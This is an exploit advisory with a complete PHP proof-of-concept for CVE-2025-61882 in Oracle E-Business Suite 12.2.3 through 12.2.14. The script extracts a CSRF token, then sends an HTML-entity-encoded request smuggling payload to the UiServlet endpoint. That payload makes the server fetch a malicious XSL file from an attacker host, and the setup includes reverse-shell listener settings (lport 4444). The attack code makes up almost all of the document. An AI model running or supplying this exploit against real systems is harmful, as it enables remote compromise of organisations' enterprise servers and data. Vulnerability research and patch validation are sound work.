=============================================================================================================================================
| # Title     : Oracle E-Business Suite 12.2.3 through 12.2.14 Corrected Request Smuggling Exploit with Enhanced CSRF Token Extraction      |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
| # Vendor    : https://www.oracle.com/applications/ebusiness/                                                                              |
=============================================================================================================================================

[+] References: https://packetstorm.news/files/id/214189/ & CVE-2025-61882

[+] Summary: This script is a refined proof-of-concept targeting Oracle E‑Business Suite (EBS) vulnerability CVE‑2025‑61882. 
             It corrects logical flaws in request smuggling payload construction, particularly around request termination and CRLF preservation, ensuring reliable proxy/backend desynchronization. 
			 The exploit also improves CSRF token extraction by prioritizing response headers (modern EBS behavior) with a fallback to parsing the response body. 
			 Additional fixes harden URL parsing (scheme/host/port handling) to avoid runtime warnings while preserving the original structure. 
             The result is a more stable, context-aware exploit workflow suitable for controlled security testing and research.

[+] POC : php poc.php 

<?php

class OracleEBSCVE202561882Exploit {
    private $target;
    private $targetPort = 8000;
    private $srvHost;
    private $srvPort;
    private $lhost;
    private $lport;
    private $verbose = false;
    private $cookies = [];
    private $userAgent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36';
    private $useHttps = false;

    public function __construct($options) {
        $this->target   = $options['target'] ?? null;
        $this->lhost    = $options['lhost'] ?? null;
        $this->lport    = $options['lport'] ?? null;
        $this->srvHost  = $options['srvHost'] ?? '127.0.0.1';
        $this->srvPort  = $options['srvPort'] ?? 8080;
        $this->verbose  = $options['verbose'] ?? false;

        if ($this->target) {
            $parsed = parse_url($this->target);
            if ($parsed !== false) {
                $scheme = $parsed['scheme'] ?? 'http';
                $this->useHttps = ($scheme === 'https');
                $this->target = $parsed['host'] ?? $this->target;
                $this->targetPort = $parsed['port'] ?? ($this->useHttps ? 443 : 80);
            }
        }
    }

    private function retrieveCsrfTokenImproved() {
        $url = $this->buildUrl('/OA_HTML/JavaScriptServlet');
        $headers = [
            'CSRF-XHR: YES',
            'FETCH-CSRF-TOKEN: 1',
            'X-Requested-With: XMLHttpRequest'
        ];

        $response = $this->httpRequest('POST', $url, '', $headers, true);

        if (preg_match('/X-ORACLE-DBC-CSRF-TOKEN:\s*([a-zA-Z0-9\-]+)/i', $response, $m)) {
            return trim($m[1]);
        }

        if (preg_match('/"csrfToken"\s*:\s*"([^"]+)"/', $response, $m)) {
            return $m[1];
        }

        return false;
    }

    private function createSmugglePayloadImproved($xslUrl) {
        $parsedXsl = parse_url($xslUrl);
        $xslHost = $parsedXsl['host'] ?? $this->srvHost;
        $xslPath = $parsedXsl['path'] ?? '/payload.xsl';
        $smuggled  = "GET {$xslPath} HTTP/1.1\r\n";
        $smuggled .= "Host: {$xslHost}\r\n";
        $smuggled .= "User-Agent: Oracle-Internal/1.0\r\n";
        $smuggled .= "Connection: keep-alive\r\n\r\n";
        $payload  = "0\r\n\r\n";
        $payload .= $smuggled;

        return $this->encodeSmugglePayload($payload);
    }

    private function encodeSmugglePayload($payload) {
        $encoded = '';
        $len = strlen($payload);
        for ($i = 0; $i < $len; $i++) {
            $c = $payload[$i];
            if ($c === "\r" || $c === "\n") {
                $encoded .= $c;
            } else {
                $encoded .= '&#' . ord($c) . ';';
            }
        }
        return $encoded;
    }

    public function exploit() {
        $this->log("Attempting to retrieve CSRF token...", "info");
        $token = $this->retrieveCsrfTokenImproved();

        if (!$token) {
            $this->log("Failed to retrieve CSRF token, smuggling may be unreliable.", "warning");
        }

        $xslUrl = "http://{$this->srvHost}:{$this->srvPort}/payload.xsl";
        $smuggleData = $this->createSmugglePayloadImproved($xslUrl);
        $xml  = "<?xml version='1.0' encoding='UTF-8'?>";
        $xml .= "<initialize>";
        $xml .= "<param name='return_url'>http://internal.ebs.local{$smuggleData}</param>";
        $xml .= "<param name='ui_type'>Applet</param>";
        $xml .= "</initialize>";

        $url = $this->buildUrl('/OA_HTML/configurator/UiServlet');
        $postData = http_build_query([
            'redirectFromJsp' => '1',
            'getUiType'      => $xml,
            'oa_csrf_token'  => $token
        ]);

        $this->log("Sending smuggling payload to UiServlet...", "info");
        $this->httpRequest('POST', $url, $postData, [
            'Content-Type: application/x-www-form-urlencoded'
        ]);

        $this->log("Payload sent. Monitor your HTTP server and listener.", "success");
    }

    private function httpRequest($method, $url, $data = '', $headers = [], $returnFull = false) {
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_CUSTOMREQUEST  => $method,
            CURLOPT_HEADER         => $returnFull,
            CURLOPT_HTTPHEADER     => array_merge(
                ["User-Agent: {$this->userAgent}"],
                $headers
            )
        ]);

        if ($method === 'POST') {
            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        }

        $response = curl_exec($ch);
        curl_close($ch);
        return $response;
    }

    private function buildUrl($path) {
        $scheme = $this->useHttps ? 'https' : 'http';
        return "{$scheme}://{$this->target}:{$this->targetPort}{$path}";
    }

    private function log($msg, $type) {
        echo "[{$type}] {$msg}\n";
    }
}

$options = [
    'target'  => 'http://192.168.1.100:8000',
    'lhost'   => '192.168.1.50',
    'lport'   => 4444,
    'srvHost' => '192.168.1.50',
    'srvPort' => 8080
];

$exploit = new OracleEBSCVE202561882Exploit($options);
$exploit->exploit();


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================